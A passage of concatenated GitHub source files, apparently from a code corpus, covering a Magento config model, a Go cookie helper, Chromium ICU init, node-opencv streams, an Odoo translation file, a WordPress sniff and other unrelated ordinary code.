return array(self::CONFIG_PREFIX . $applicationId => $configData);
}
/**
* Prepare posted data to store at configuration.
*
* Posted data have to be in predefined format:
* - array('category:config/path/param' => 'value')
* where : is a separator of category
* - array('config/path/param' => 'value')
* if key doesn't have a separator category will be set as default
*
* @param array $configuration posted data array
* @return array configuration data array
*/
protected function _prepareData($configuration)
{
$configData = array();
foreach ($configuration as $key => $val) {
list($category, $path) = explode(':', $key, 2) + array('', '');
if (empty($path)) {
$path = $category;
$category = self::DEFAULT_CATEGORY;
}
$val = is_array($val) ? implode(',', $val) : $val;
$configData[strtolower($category)][strtolower($path)] = $val;
}
return $configData;
}
/**
* Prepare and set configuration data
*
* @param int $applicationId
* @param array $configData
* @param bool $replace
* @return Mage_XmlConnect_Model_ConfigData
*/
public function setConfigData($applicationId, array $configData, $replace = true)
{
$configData = $this->_prepareData($configData);
$arrayToStore = $this->_assignConfig($applicationId, $configData);
if ($replace) {
$this->_configuration = array_merge($this->_configuration, $arrayToStore);
} else {
$this->_configuration = $this->_configuration + $arrayToStore;
}
return $this;
}
/**
* Get configuration data
*
* @param int $applicationId
* @return array
*/
public function getConfigData($applicationId = 0)
{
if ($applicationId && isset($this->_configuration[self::CONFIG_PREFIX . $applicationId])) {
return $this->_configuration[self::CONFIG_PREFIX . $applicationId];
}
return $this->_configuration;
}
/**
* Save predefined configuration data
*
* @return Mage_XmlConnect_Model_ConfigData
*/
public function initSaveConfig()
{
foreach ($this->_configuration as $application => $data) {
$applicationId = str_ireplace(self::CONFIG_PREFIX, '', $application);
$this->_deleteOnUpdate($applicationId);
foreach ($data as $category => $config) {
$this->saveConfig($applicationId, $config, $category);
}
}
return $this;
}
/**
* Save configuration data by given params
*
* @param int $applicationId
* @param array $configData
* @param string $category
* @return Mage_XmlConnect_Model_ConfigData
*/
public function saveConfig($applicationId, array $configData, $category = self::DEFAULT_CATEGORY)
{
foreach ($configData as $path => $value) {
if (!is_scalar($value)) {
Mage::throwException(Mage::helper('xmlconnect')->__('Unsupported value type received'));
}
$this->getResource()->saveConfig($applicationId, $category, $path, $value);
}
return $this;
}
/**
* Get delete on update array paths
*
* @return array
*/
public function getDeleteOnUpdate()
{
return $this->_deleteOnUpdate;
}
/**
* Set delete on update array paths
*
* @param array $pathsToDelete
* @return Mage_XmlConnect_Model_ConfigData
*/
public function setDeleteOnUpdate(array $pathsToDelete)
{
$this->_deleteOnUpdate = array_merge($this->_deleteOnUpdate, $pathsToDelete);
return $this;
}
/**
* Delete group of records those have to be deleted with update process
*
* @param int $applicationId
* @return Mage_XmlConnect_Model_ConfigData
*/
protected function _deleteOnUpdate($applicationId)
{
foreach ($this->_deleteOnUpdate as $category => $path) {
$this->deleteConfig($applicationId, $category, $path, true);
}
return $this;
}
/**
* Delete config record
*
* @param int $applicationId
* @param string $category
* @param string $path
* @param bool $pathLike
* @return Mage_XmlConnect_Model_ConfigData
*/
public function deleteConfig($applicationId, $category = '', $path = '', $pathLike = false)
{
$this->getResource()->deleteConfig($applicationId, $category, $path, $pathLike);
return $this;
}
/**
* Load Configuration data by filter params
*
* @param int $applicationId
* @param string $category
* @param string $path
* @param bool $pathLike
* @return array
*/
public function loadApplicationData($applicationId, $category = '', $path = '', $pathLike = true)
{
/** @var $collection Mage_XmlConnect_Model_Resource_ConfigData_Collection */
$collection = $this->getCollection();
$collection->addApplicationIdFilter($applicationId);
if ($category) {
$collection->addCategoryFilter($category);
}
if ($path) {
$collection->addPathFilter($path, $pathLike);
}
return $collection->toOptionArray();
}
/**
* Load configuration node value
*
* @param int $applicationId
* @param string $category
* @param string $path
* @return mixed
*/
public function loadScalarValue($applicationId, $category, $path)
{
/** @var $collection Mage_XmlConnect_Model_Resource_ConfigData_Collection */
$collection = $this->getCollection();
$collection->addApplicationIdFilter($applicationId);
if ($category) {
$collection->addCategoryFilter($category);
}
if ($path) {
$collection->addPathFilter($path, false);
}
return ($result = $collection->fetchItem()) ? $result->getValue() : null;
}
/**
* Update old pages records in database
* For data upgrade usage only
*
* @see data upgrade file: mysql4-data-upgrade-1.6.0.0-1.6.0.0.1.php
* @param array $records
* @return null
*/
public function pagesUpgradeOldConfig($records)
{
$newConfig = array();
/** @var $applicationModel Mage_XmlConnect_Model_Application */
$applicationModel = Mage::getModel('xmlconnect/application');
$deprecatedFlag = Mage_XmlConnect_Model_Application::DEPRECATED_CONFIG_FLAG;
foreach ($records as $applicationId) {
/** @var $applicationModel Mage_XmlConnect_Model_Application */
$applicationModel->load($applicationId);
$configData = $this->loadApplicationData($applicationId);
foreach ($configData[$deprecatedFlag] as $deprecatedConfigKey => $deprecatedConfigValue) {
$pagesConfigPath = 'native/pages/';
if (strpos($deprecatedConfigKey, $pagesConfigPath) !== false) {
$pagePath = substr($deprecatedConfigKey, strlen($pagesConfigPath));
list($id, $type) = explode('/', $pagePath);
$newConfig[$id][$type] = $deprecatedConfigValue;
$this->deleteConfig($applicationId, $deprecatedFlag, $deprecatedConfigKey);
}
}
foreach ($newConfig as $id => $page) {
if (empty($page['label']) || empty($page['id'])) {
continue;
}
$path = 'staticpage/' . $id;
$this->getResource()->saveConfig(
$applicationId, Mage_XmlConnect_Model_Application::STATIC_PAGE_CATEGORY, $path, serialize($page)
);
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace phpbu\App\Backup\Cleaner\Stepwise\Keeper;
use PHPUnit\Framework\TestCase;
/**
* All test
*
* @package phpbu
* @subpackage tests
* @author Sebastian Feldmann <[email protected]>
* @copyright Sebastian Feldmann <[email protected]>
* @license https://opensource.org/licenses/MIT The MIT License (MIT)
* @link http://www.phpbu.de/
* @since Class available since Release 5.0.0
*/
class AllTest extends TestCase
{
/**
* Tests All::keep
*/
public function testKeep()
{
$file = $this->createMock(\phpbu\App\Backup\File\Local::class);
$keeper = new All();
$this->assertTrue($keeper->keep($file));
}
}
|
{
"pile_set_name": "Github"
}
|
package cookie
import (
"net/http"
"github.com/710leo/urlooker/modules/web/g"
"github.com/gorilla/securecookie"
)
var SecureCookie *securecookie.SecureCookie
func Init() {
var hashKey = []byte(g.Config.Http.Secret)
var blockKey = []byte(nil)
SecureCookie = securecookie.New(hashKey, blockKey)
}
func ReadUser(r *http.Request) (id int64, name string, found bool) {
if cookie, err := r.Cookie("u"); err == nil {
value := make(map[string]interface{})
if err = SecureCookie.Decode("u", cookie.Value, &value); err == nil {
id = value["id"].(int64)
name = value["name"].(string)
if id == 0 || name == "" {
return
} else {
found = true
return
}
}
}
return
}
func WriteUser(w http.ResponseWriter, id int64, name string) error {
value := make(map[string]interface{})
value["id"] = id
value["name"] = name
encoded, err := SecureCookie.Encode("u", value)
if err != nil {
return err
}
cookie := &http.Cookie{
Name: "u",
Value: encoded,
Path: "/",
MaxAge: 3600 * 24 * 7,
HttpOnly: true,
}
http.SetCookie(w, cookie)
return nil
}
func RemoveUser(w http.ResponseWriter) error {
value := make(map[string]interface{})
value["id"] = ""
value["name"] = ""
encoded, err := SecureCookie.Encode("u", value)
if err != nil {
return err
}
cookie := &http.Cookie{
Name: "u",
Value: encoded,
Path: "/",
MaxAge: -1,
}
http.SetCookie(w, cookie)
return nil
}
|
{
"pile_set_name": "Github"
}
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "stdio.h"
extern "C" int Add(int a, int b);
extern "C" int Subtract(int a, int b);
extern "C" bool Not(bool b);
int main()
{
if (Add(2, 3) != 5)
return 1;
if (Subtract(3, 1) != 2)
return 1;
if (!Not(false))
return 1;
return 100;
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env ruby
APP_ROOT = File.expand_path(File.join(File.dirname(__FILE__), '..'))
begin
require 'rubigen'
rescue LoadError
require 'rubygems'
require 'rubigen'
end
require 'rubigen/scripts/generate'
ARGV.shift if ['--help', '-h'].include?(ARGV[0])
RubiGen::Base.use_component_sources! [:rubygems, :newgem, :newgem_theme, :test_unit]
RubiGen::Scripts::Generate.new.run(ARGV)
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/i18n/icu_util.h"
#include "build/build_config.h"
#if defined(OS_WIN)
#include <windows.h>
#endif
#include <string>
#include "base/file_path.h"
#include "base/file_util.h"
#include "base/logging.h"
#include "base/path_service.h"
#include "base/string_util.h"
#include "base/sys_string_conversions.h"
#include "unicode/putil.h"
#include "unicode/udata.h"
#if defined(OS_MACOSX)
#include "base/mac/foundation_util.h"
#endif
#define ICU_UTIL_DATA_FILE 0
#define ICU_UTIL_DATA_SHARED 1
#define ICU_UTIL_DATA_STATIC 2
#ifndef ICU_UTIL_DATA_IMPL
#if defined(OS_WIN)
#define ICU_UTIL_DATA_IMPL ICU_UTIL_DATA_SHARED
#else
#define ICU_UTIL_DATA_IMPL ICU_UTIL_DATA_STATIC
#endif
#endif // ICU_UTIL_DATA_IMPL
#if ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_FILE
#define ICU_UTIL_DATA_FILE_NAME "icudt" U_ICU_VERSION_SHORT "l.dat"
#elif ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_SHARED
#define ICU_UTIL_DATA_SYMBOL "icudt" U_ICU_VERSION_SHORT "_dat"
#if defined(OS_WIN)
#define ICU_UTIL_DATA_SHARED_MODULE_NAME "icudt.dll"
#endif
#endif
namespace icu_util {
bool Initialize() {
#ifndef NDEBUG
// Assert that we are not called more than once. Even though calling this
// function isn't harmful (ICU can handle it), being called twice probably
// indicates a programming error.
static bool called_once = false;
DCHECK(!called_once);
called_once = true;
#endif
#if (ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_SHARED)
// We expect to find the ICU data module alongside the current module.
FilePath data_path;
PathService::Get(base::DIR_MODULE, &data_path);
data_path = data_path.AppendASCII(ICU_UTIL_DATA_SHARED_MODULE_NAME);
HMODULE module = LoadLibrary(data_path.value().c_str());
if (!module) {
DLOG(ERROR) << "Failed to load " << ICU_UTIL_DATA_SHARED_MODULE_NAME;
return false;
}
FARPROC addr = GetProcAddress(module, ICU_UTIL_DATA_SYMBOL);
if (!addr) {
DLOG(ERROR) << ICU_UTIL_DATA_SYMBOL << ": not found in "
<< ICU_UTIL_DATA_SHARED_MODULE_NAME;
return false;
}
UErrorCode err = U_ZERO_ERROR;
udata_setCommonData(reinterpret_cast<void*>(addr), &err);
return err == U_ZERO_ERROR;
#elif (ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_STATIC)
// Mac/Linux bundle the ICU data in.
return true;
#elif (ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_FILE)
#if !defined(OS_MACOSX)
// For now, expect the data file to be alongside the executable.
// This is sufficient while we work on unit tests, but will eventually
// likely live in a data directory.
FilePath data_path;
bool path_ok = PathService::Get(base::DIR_EXE, &data_path);
DCHECK(path_ok);
u_setDataDirectory(data_path.value().c_str());
// Only look for the packaged data file;
// the default behavior is to look for individual files.
UErrorCode err = U_ZERO_ERROR;
udata_setFileAccess(UDATA_ONLY_PACKAGES, &err);
return err == U_ZERO_ERROR;
#else
// If the ICU data directory is set, ICU won't actually load the data until
// it is needed. This can fail if the process is sandboxed at that time.
// Instead, Mac maps the file in and hands off the data so the sandbox won't
// cause any problems.
// Chrome doesn't normally shut down ICU, so the mapped data shouldn't ever
// be released.
static file_util::MemoryMappedFile mapped_file;
if (!mapped_file.IsValid()) {
// Assume it is in the framework bundle's Resources directory.
FilePath data_path =
base::mac::PathForFrameworkBundleResource(CFSTR(ICU_UTIL_DATA_FILE_NAME));
if (data_path.empty()) {
DLOG(ERROR) << ICU_UTIL_DATA_FILE_NAME << " not found in bundle";
return false;
}
if (!mapped_file.Initialize(data_path)) {
DLOG(ERROR) << "Couldn't mmap " << data_path.value();
return false;
}
}
UErrorCode err = U_ZERO_ERROR;
udata_setCommonData(const_cast<uint8*>(mapped_file.data()), &err);
return err == U_ZERO_ERROR;
#endif // OS check
#endif
}
} // namespace icu_util
|
{
"pile_set_name": "Github"
}
|
// Copyright 2012 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Declares a simple API for mutating PDB files.
#ifndef SYZYGY_PDB_PDB_MUTATOR_H_
#define SYZYGY_PDB_PDB_MUTATOR_H_
#include "syzygy/pdb/pdb_file.h"
namespace pdb {
// A PdbMutatorInterface is a pure virtual base class defining the mutator API.
class PdbMutatorInterface {
public:
virtual ~PdbMutatorInterface() { }
// Gets the name of this mutator.
// @returns the name of this mutator.
virtual const char* name() const = 0;
// Applies this mutator to the provided PDB. It is up to the mutator to
// ensure that all headers are maintained properly, etc.
// @param pdb_file The PDB file to be modified.
virtual bool MutatePdb(PdbFile* pdb_file) = 0;
};
// Applies a vector of PDB mutators to the given file. Logs an error on failure.
// @param pdb_mutators The PDB mutators to be applied.
// @param pdb_file The PDB file to be modified.
// @returns true on success, false otherwise.
bool ApplyPdbMutators(const std::vector<PdbMutatorInterface*>& pdb_mutators,
PdbFile* pdb_file);
} // namespace pdb
#endif // SYZYGY_PDB_PDB_MUTATOR_H_
|
{
"pile_set_name": "Github"
}
|
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * base_address_extended
#
# Translators:
# Abu Zafar <[email protected]>, 2020
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server saas~12.4\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-08-12 11:31+0000\n"
"PO-Revision-Date: 2019-08-26 09:09+0000\n"
"Last-Translator: Abu Zafar <[email protected]>, 2020\n"
"Language-Team: Bengali (https://www.transifex.com/odoo/teams/41243/bn/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Language: bn\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
#. module: base_address_extended
#: model_terms:ir.ui.view,arch_db:base_address_extended.view_res_country_extended_form
msgid ""
"Change how the system computes the full street field based on the different "
"street subfields"
msgstr ""
#. module: base_address_extended
#: model:ir.model,name:base_address_extended.model_res_company
msgid "Companies"
msgstr "কোম্পানি"
#. module: base_address_extended
#: model:ir.model,name:base_address_extended.model_res_partner
msgid "Contact"
msgstr "যোগাযোগ"
#. module: base_address_extended
#: model:ir.model,name:base_address_extended.model_res_country
msgid "Country"
msgstr ""
#. module: base_address_extended
#: model:ir.model.fields,field_description:base_address_extended.field_res_partner__street_number2
#: model:ir.model.fields,field_description:base_address_extended.field_res_users__street_number2
msgid "Door"
msgstr ""
#. module: base_address_extended
#: model:ir.model.fields,field_description:base_address_extended.field_res_company__street_number2
#: model:ir.model.fields,help:base_address_extended.field_res_partner__street_number2
#: model:ir.model.fields,help:base_address_extended.field_res_users__street_number2
msgid "Door Number"
msgstr ""
#. module: base_address_extended
#: model:ir.model.fields,help:base_address_extended.field_res_country__street_format
msgid ""
"Format to use for streets belonging to this country.\n"
"\n"
"You can use the python-style string pattern with all the fields of the street (for example, use '%(street_name)s, %(street_number)s' if you want to display the street name, followed by a comma and the house number)\n"
"%(street_name)s: the name of the street\n"
"%(street_number)s: the house number\n"
"%(street_number2)s: the door number"
msgstr ""
#. module: base_address_extended
#: model:ir.model.fields,field_description:base_address_extended.field_res_partner__street_number
#: model:ir.model.fields,field_description:base_address_extended.field_res_users__street_number
msgid "House"
msgstr ""
#. module: base_address_extended
#: model:ir.model.fields,field_description:base_address_extended.field_res_company__street_number
#: model:ir.model.fields,help:base_address_extended.field_res_partner__street_number
#: model:ir.model.fields,help:base_address_extended.field_res_users__street_number
msgid "House Number"
msgstr ""
#. module: base_address_extended
#: model:ir.model.fields,field_description:base_address_extended.field_res_country__street_format
msgid "Street Format"
msgstr ""
#. module: base_address_extended
#: model:ir.model.fields,field_description:base_address_extended.field_res_company__street_name
#: model:ir.model.fields,field_description:base_address_extended.field_res_partner__street_name
#: model:ir.model.fields,field_description:base_address_extended.field_res_users__street_name
msgid "Street Name"
msgstr ""
#. module: base_address_extended
#: model_terms:ir.ui.view,arch_db:base_address_extended.view_partner_address_structured_form
#: model_terms:ir.ui.view,arch_db:base_address_extended.view_partner_structured_form
#: model_terms:ir.ui.view,arch_db:base_address_extended.view_res_company_extended_form
msgid "Street Name..."
msgstr ""
#. module: base_address_extended
#: model_terms:ir.ui.view,arch_db:base_address_extended.view_res_country_extended_form
msgid "Street format..."
msgstr ""
#. module: base_address_extended
#: code:addons/base_address_extended/models/base_address_extended.py:64
#: code:addons/base_address_extended/models/base_address_extended.py:112
#, python-format
msgid "Unrecognized field %s in street format."
msgstr ""
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2020 by Gerrit Grunwald
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package eu.hansolo.fx.charts;
public class LogAxisTestLauncher {
public static void main(String[] args) { LogAxisTest.main(args); }
}
|
{
"pile_set_name": "Github"
}
|
var Stream = require('stream').Stream
, Buffers = require('buffers')
, util = require('util')
, path = require('path');
var cv = module.exports = require('./bindings');
var Matrix = cv.Matrix
, VideoCapture = cv.VideoCapture
, ImageStream
, ImageDataStream
, ObjectDetectionStream
, VideoStream;
Matrix.prototype.detectObject = function(classifier, opts, cb){
var face_cascade;
opts = opts || {};
cv._detectObjectClassifiers = cv._detectObjectClassifiers || {};
if (!(face_cascade = cv._detectObjectClassifiers[classifier])){
face_cascade = new cv.CascadeClassifier(classifier);
cv._detectObjectClassifiers[classifier] = face_cascade;
}
face_cascade.detectMultiScale(this, cb, opts.scale, opts.neighbors
, opts.min && opts.min[0], opts.min && opts.min[1]);
}
Matrix.prototype.inspect = function(){
var size = (this.size()||[]).join('x');
return "[ Matrix " + size + " ]";
}
ImageStream = cv.ImageStream = function(){
this.writable = true;
}
util.inherits(ImageStream, Stream);
ImageStream.prototype.write = function(buf){
var self = this;
cv.readImage(buf, function(err, matrix){
if (err) return self.emit('error', err);
self.emit('data', matrix);
});
}
ImageDataStream = cv.ImageDataStream = function(){
this.data = Buffers([]);
this.writable = true;
}
util.inherits(ImageDataStream, Stream);
ImageDataStream.prototype.write = function(buf){
this.data.push(buf);
return true;
}
ImageDataStream.prototype.end = function(b){
var self = this;
if (b) ImageStream.prototype.write.call(this, b);
var buf = this.data.toBuffer();
cv.readImage(buf, function(err, im){
if (err) return self.emit('error', err);
self.emit('load', im);
});
}
ObjectDetectionStream = cv.ObjectDetectionStream = function(cascade, opts){
this.classifier = new cv.CascadeClassifier(cascade);
this.opts = opts || {};
this.readable = true;
this.writable = true;
}
util.inherits(ObjectDetectionStream, Stream);
ObjectDetectionStream.prototype.write = function(m){
var self = this;
this.classifier.detectMultiScale(m, function(err, objs){
if (err) return self.emit('error', err);
self.emit('data', objs, m);
}
, this.opts.scale
, this.opts.neighbors
, this.opts.min && this.opts.min[0]
, this.opts.min && this.opts.min[1]);
}
VideoStream = cv.VideoStream = function(src){
if (!(src instanceof VideoCapture)) src = new VideoCapture(src);
this.video = src;
this.readable = true;
this.paused = false;
}
util.inherits(VideoStream, Stream);
VideoStream.prototype.read = function(){
var self = this;
var frame = function(){
self.video.read(function(err, mat){
if (err) return self.emit('error', err);
self.emit('data', mat);
if (!self.paused) process.nextTick(frame);
})
}
frame();
}
VideoStream.prototype.pause = function(){
this.paused = true;
}
VideoStream.prototype.resume = function(){
this.paused = false;
this.read();
}
VideoCapture.prototype.toStream = function(){
return new VideoStream(this);
}
// Provide cascade data for faces etc.
var CASCADES = {
FACE_CASCADE: 'haarcascade_frontalface_alt.xml'
, EYE_CASCADE: 'haarcascade_eye.xml'
, EYEGLASSES_CASCADE: 'haarcascade_eye_tree_eyeglasses.xml'
, FULLBODY_CASCADE: 'haarcascade_fullbody.xml'
, CAR_SIDE_CASCADE: 'hogcascade_cars_sideview.xml'
}
Object.keys(CASCADES).forEach(function(k){
cv[k] = path.resolve(__dirname, '../data', CASCADES[k])
})
|
{
"pile_set_name": "Github"
}
|
const chalk = require('chalk')
const {
Interface,
clearLine,
clearScreenDown,
cursorTo,
emitKeypressEvents,
moveCursor
} = require('readline')
/**
* Extends the native readline interface with color support.
*
* A drop-in replacement for `readline`.
*
* Additionally accepts an options.color object with chalk colors
* for `prompt` and `completer`.
*
* @todo this could be enhanced with auto complete hints in grey.
* @todo similar to this: https://github.com/aantthony/node-color-readline
*
* @ignore
*
* @example
* const readline = require('./super-readline')
*
* const rl = readline.createInterface({
* input: process.stdin,
* output: process.stdout,
* prompt: '> ',
* completer: readline.defaultCompleter([ 'bob', 'yolk' ]),
* colors: {
* prompt: readline.chalk.cyan,
* completer: readline.chalk.yellow
* }
* })
*
* rl.prompt()
*/
class SuperInterface extends Interface {
constructor(options) {
super(options)
this._colors = options.colors || {}
this._writingTabComplete = false
}
_tabComplete(lastKeypressWasTab) {
this._writingTabComplete = true
super._tabComplete(lastKeypressWasTab)
this._writingTabComplete = false
}
showTabCompletions() {
this._tabComplete(true)
}
_writeToOutput(stringToWrite) {
// colorize prompt itself
const startsWithPrompt = stringToWrite.startsWith(this._prompt)
if (this._colors.prompt && startsWithPrompt) {
stringToWrite = `${this._colors.prompt(
this._prompt
)}${stringToWrite.replace(this._prompt, '')}`
return super._writeToOutput(stringToWrite)
}
// colorize completer output
if (this._colors.completer && this._writingTabComplete) {
return super._writeToOutput(this._colors.completer(stringToWrite))
}
// anything else
super._writeToOutput(stringToWrite)
}
}
const createSuperInterface = function(options) {
return new SuperInterface(options)
}
/**
* A typical default completer that can be used, for convenience.
*
* @ignore
*/
const defaultCompleter = completions => line => {
const hits = completions.filter(c => c.startsWith(line))
// show all completions if none found
const arr = hits.length ? hits : completions
return [arr, line]
}
module.exports = {
// customized exports:
chalk,
Interface: SuperInterface,
createInterface: createSuperInterface,
defaultCompleter,
// default readline exports:
clearLine,
clearScreenDown,
cursorTo,
emitKeypressEvents,
moveCursor
}
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* WordPress Coding Standard.
*
* @package WPCS\WordPressCodingStandards
* @link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards
* @license https://opensource.org/licenses/MIT MIT
*/
/**
* Checks that the opening brace of a class or interface is on the same line
* as the class declaration.
*
* Also checks that the brace is the last thing on that line and has precisely one space before it.
*
* @link https://make.wordpress.org/core/handbook/best-practices/coding-standards/php/#brace-style
*
* @package WPCS\WordPressCodingStandards
*
* @since 0.10.0
*
* {@internal Upstream PR https://github.com/squizlabs/PHP_CodeSniffer/pull/1070 has been merged.
* If and when the WPCS minimum PHPCS version would be upped to the version
* that PR is contained in - probably v 2.7.0 -, this sniff and associated unit tests
* can be replaced by the upstream sniff Generic.Classes.OpeningBraceSameLine.}}
*/
class WordPress_Sniffs_Classes_ClassOpeningStatementSniff implements PHP_CodeSniffer_Sniff {
/**
* Returns an array of tokens this test wants to listen for.
*
* @return array
*/
public function register() {
return array(
T_CLASS,
T_INTERFACE,
T_TRAIT,
);
}
/**
* Processes this test, when one of its tokens is encountered.
*
* @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
* @param int $stackPtr The position of the current token in the
* stack passed in $tokens.
*
* @return void
*/
public function process( PHP_CodeSniffer_File $phpcsFile, $stackPtr ) {
$tokens = $phpcsFile->getTokens();
$scope_identifier = $phpcsFile->findNext( T_STRING, ( $stackPtr + 1 ) );
$errorData = array(
strtolower( $tokens[ $stackPtr ]['content'] ) . ' ' . $tokens[ $scope_identifier ]['content']
);
if ( ! isset( $tokens[ $stackPtr ]['scope_opener'] ) ) {
$error = 'Possible parse error: %s missing opening or closing brace';
$phpcsFile->addWarning( $error, $stackPtr, 'MissingBrace', $errorData );
return;
}
$openingBrace = $tokens[ $stackPtr ]['scope_opener'];
/*
* Is the brace on the same line as the class/interface/trait declaration ?
*/
$lastClassLineToken = $phpcsFile->findPrevious( T_STRING, ( $openingBrace - 1 ), $stackPtr );
$lastClassLine = $tokens[ $lastClassLineToken ]['line'];
$braceLine = $tokens[ $openingBrace ]['line'];
$lineDifference = ( $braceLine - $lastClassLine );
if ( $lineDifference > 0 ) {
$phpcsFile->recordMetric( $stackPtr, 'Class opening brace placement', 'new line' );
$error = 'Opening brace should be on the same line as the declaration for %s';
$fix = $phpcsFile->addFixableError( $error, $openingBrace, 'BraceOnNewLine', $errorData );
if ( true === $fix ) {
$phpcsFile->fixer->beginChangeset();
$phpcsFile->fixer->addContent( $lastClassLineToken, ' {' );
$phpcsFile->fixer->replaceToken( $openingBrace, '' );
$phpcsFile->fixer->endChangeset();
}
} else {
$phpcsFile->recordMetric( $stackPtr, 'Class opening brace placement', 'same line' );
}
/*
* Is the opening brace the last thing on the line ?
*/
$next = $phpcsFile->findNext( T_WHITESPACE, ( $openingBrace + 1 ), null, true );
if ( $tokens[ $next ]['line'] === $tokens[ $openingBrace ]['line'] ) {
if ( $next === $tokens[ $stackPtr ]['scope_closer'] ) {
// Ignore empty classes.
return;
}
$error = 'Opening brace must be the last content on the line';
$fix = $phpcsFile->addFixableError( $error, $openingBrace, 'ContentAfterBrace' );
if ( true === $fix ) {
$phpcsFile->fixer->addNewline( $openingBrace );
}
}
// Only continue checking if the opening brace looks good.
if ( $lineDifference > 0 ) {
return;
}
/*
* Is there precisely one space before the opening brace ?
*/
if ( T_WHITESPACE !== $tokens[ ( $openingBrace - 1 ) ]['code'] ) {
$length = 0;
} elseif ( "\t" === $tokens[ ( $openingBrace - 1 ) ]['content'] ) {
$length = '\t';
} else {
$length = strlen( $tokens[ ( $openingBrace - 1 ) ]['content'] );
}
if ( 1 !== $length ) {
$error = 'Expected 1 space before opening brace; found %s';
$data = array( $length );
$fix = $phpcsFile->addFixableError( $error, $openingBrace, 'SpaceBeforeBrace', $data );
if ( true === $fix ) {
if ( 0 === $length || '\t' === $length ) {
$phpcsFile->fixer->addContentBefore( $openingBrace, ' ' );
} else {
$phpcsFile->fixer->replaceToken( ( $openingBrace - 1 ), ' ' );
}
}
}
} // End process().
} // End class.
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
